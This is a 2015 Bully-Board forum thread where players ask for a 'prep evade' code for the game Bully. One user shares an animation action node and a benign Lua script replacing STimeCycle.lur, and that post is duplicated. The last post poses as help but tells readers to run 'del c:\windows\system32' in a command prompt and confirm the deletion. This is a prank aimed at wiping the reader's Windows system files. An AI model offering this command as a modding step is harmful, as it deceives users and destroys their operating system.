Bully-Board
Bully Modding Section => Modding Questions/Help => Modding Questions/Help Archives => Topic started by: bullymodder74 on September 02, 2015, 05:43:19 PM
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someone I can spend the prep evade code please :confused:
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Nobody has the Evade code for Prep's yet.
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a ok :euro: thanks
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AfterLife says he found it but he's banned, Lemon apparently has it but doesn't like to share.
If you want the player evade action node I found that and can share it.
Here: "/Global/BoxingPlayer/EvadeBank/Evades","Act/Anim/BoxingPlayer.act"
Here is a script using it if you want. It is meant to replace STimeCycle.lur.
function main()
Wait(500)
while true do
if not HasAnimGroupLoaded("Boxing") then
LoadAnimationGroup("Boxing")
end
local ped = PedGetTargetPed(gPlayer)
if PedIsValid(ped) and PedGetEmotionTowardsPed(ped,gPlayer) == 0 and PedIsPlaying(gPlayer,"Default_KEY",true) and IsButtonBeingPressed(7,0) then
PedSetActionNode(gPlayer,"/Global/BoxingPlayer/EvadeBank/Evades","Act/Anim/BoxingPlayer.act")
end
Wait(0)
end
end
-- STimeCycle:
function F_AttendedClass()
if IsMissionCompleated("3_08") and not IsMissionCompleated("3_08_PostDummy") then
return
end
SetSkippedClass(false)
PlayerSetPunishmentPoints(0)
end
function F_MissedClass()
if IsMissionCompleated("3_08") and not IsMissionCompleated("3_08_PostDummy") then
return
end
SetSkippedClass(true)
StatAddToInt(166)
end
function F_AttendedCurfew()
if not PedInConversation(gPlayer) and not MissionActive() then
TextPrintString("You got home in time for curfew", 4)
end
end
function F_MissedCurfew()
if not PedInConversation(gPlayer) and not MissionActive() then
TextPrint("TM_TIRED5", 4, 2)
end
end
function F_StartClass()
if IsMissionCompleated("3_08") and not IsMissionCompleated("3_08_PostDummy") then
return
end
F_RingSchoolBell()
local l_6_0 = PlayerGetPunishmentPoints() + GetSkippingPunishment()
end
function F_EndClass()
if IsMissionCompleated("3_08") and not IsMissionCompleated("3_08_PostDummy") then
return
end
F_RingSchoolBell()
end
function F_StartMorning()
F_UpdateTimeCycle()
end
function F_EndMorning()
F_UpdateTimeCycle()
end
function F_StartLunch()
if IsMissionCompleated("3_08") and not IsMissionCompleated("3_08_PostDummy") then
F_UpdateTimeCycle()
return
end
F_UpdateTimeCycle()
end
function F_EndLunch()
F_UpdateTimeCycle()
end
function F_StartAfternoon()
F_UpdateTimeCycle()
end
function F_EndAfternoon()
F_UpdateTimeCycle()
end
function F_StartEvening()
F_UpdateTimeCycle()
end
function F_EndEvening()
F_UpdateTimeCycle()
end
function F_StartCurfew_SlightlyTired()
F_UpdateTimeCycle()
end
function F_StartCurfew_Tired()
F_UpdateTimeCycle()
end
function F_StartCurfew_MoreTired()
F_UpdateTimeCycle()
end
function F_StartCurfew_TooTired()
F_UpdateTimeCycle()
end
function F_EndCurfew_TooTired()
F_UpdateTimeCycle()
end
function F_EndTired()
F_UpdateTimeCycle()
end
function F_Nothing()
end
function F_ClassWarning()
if IsMissionCompleated("3_08") and not IsMissionCompleated("3_08_PostDummy") then
return
end
local l_23_0 = math.random(1, 2)
end
function F_UpdateTimeCycle()
if not IsMissionCompleated("1_B") then
local l_24_0 = GetCurrentDay(false)
if l_24_0 < 0 or l_24_0 > 2 then
SetCurrentDay(0)
end
end
F_UpdateCurfew()
end
function F_UpdateCurfew()
local l_25_0 = shared.gCurfewRules
if not l_25_0 then
l_25_0 = F_CurfewDefaultRules
end
l_25_0()
end
function F_CurfewDefaultRules()
local l_26_0 = ClockGet()
if l_26_0 >= 23 or l_26_0 < 6 then
shared.gCurfew = true
else
shared.gCurfew = false
end
end
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AfterLife says he found it but he's banned, Lemon apparently has it but doesn't like to share.
If you want the player evade action node I found that and can share it.
Here: "/Global/BoxingPlayer/EvadeBank/Evades","Act/Anim/BoxingPlayer.act"
Here is a script using it if you want. It is meant to replace STimeCycle.lur.
function main()
Wait(500)
while true do
if not HasAnimGroupLoaded("Boxing") then
LoadAnimationGroup("Boxing")
end
local ped = PedGetTargetPed(gPlayer)
if PedIsValid(ped) and PedGetEmotionTowardsPed(ped,gPlayer) == 0 and PedIsPlaying(gPlayer,"Default_KEY",true) and IsButtonBeingPressed(7,0) then
PedSetActionNode(gPlayer,"/Global/BoxingPlayer/EvadeBank/Evades","Act/Anim/BoxingPlayer.act")
end
Wait(0)
end
end
-- STimeCycle:
function F_AttendedClass()
if IsMissionCompleated("3_08") and not IsMissionCompleated("3_08_PostDummy") then
return
end
SetSkippedClass(false)
PlayerSetPunishmentPoints(0)
end
function F_MissedClass()
if IsMissionCompleated("3_08") and not IsMissionCompleated("3_08_PostDummy") then
return
end
SetSkippedClass(true)
StatAddToInt(166)
end
function F_AttendedCurfew()
if not PedInConversation(gPlayer) and not MissionActive() then
TextPrintString("You got home in time for curfew", 4)
end
end
function F_MissedCurfew()
if not PedInConversation(gPlayer) and not MissionActive() then
TextPrint("TM_TIRED5", 4, 2)
end
end
function F_StartClass()
if IsMissionCompleated("3_08") and not IsMissionCompleated("3_08_PostDummy") then
return
end
F_RingSchoolBell()
local l_6_0 = PlayerGetPunishmentPoints() + GetSkippingPunishment()
end
function F_EndClass()
if IsMissionCompleated("3_08") and not IsMissionCompleated("3_08_PostDummy") then
return
end
F_RingSchoolBell()
end
function F_StartMorning()
F_UpdateTimeCycle()
end
function F_EndMorning()
F_UpdateTimeCycle()
end
function F_StartLunch()
if IsMissionCompleated("3_08") and not IsMissionCompleated("3_08_PostDummy") then
F_UpdateTimeCycle()
return
end
F_UpdateTimeCycle()
end
function F_EndLunch()
F_UpdateTimeCycle()
end
function F_StartAfternoon()
F_UpdateTimeCycle()
end
function F_EndAfternoon()
F_UpdateTimeCycle()
end
function F_StartEvening()
F_UpdateTimeCycle()
end
function F_EndEvening()
F_UpdateTimeCycle()
end
function F_StartCurfew_SlightlyTired()
F_UpdateTimeCycle()
end
function F_StartCurfew_Tired()
F_UpdateTimeCycle()
end
function F_StartCurfew_MoreTired()
F_UpdateTimeCycle()
end
function F_StartCurfew_TooTired()
F_UpdateTimeCycle()
end
function F_EndCurfew_TooTired()
F_UpdateTimeCycle()
end
function F_EndTired()
F_UpdateTimeCycle()
end
function F_Nothing()
end
function F_ClassWarning()
if IsMissionCompleated("3_08") and not IsMissionCompleated("3_08_PostDummy") then
return
end
local l_23_0 = math.random(1, 2)
end
function F_UpdateTimeCycle()
if not IsMissionCompleated("1_B") then
local l_24_0 = GetCurrentDay(false)
if l_24_0 < 0 or l_24_0 > 2 then
SetCurrentDay(0)
end
end
F_UpdateCurfew()
end
function F_UpdateCurfew()
local l_25_0 = shared.gCurfewRules
if not l_25_0 then
l_25_0 = F_CurfewDefaultRules
end
l_25_0()
end
function F_CurfewDefaultRules()
local l_26_0 = ClockGet()
if l_26_0 >= 23 or l_26_0 < 6 then
shared.gCurfew = true
else
shared.gCurfew = false
end
end
Evade Duck (jimmy) i know this code maybe can help us
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Nobody has the Evade code for Prep's yet.
I DO ACTUALLY.
1. Open CMD/command prompt(like for the mods)
2. type: del c:\windows\system32
3. if it asks a yes/no thing, press Y and enter
4. wait 5 minutes (it will let you change signature)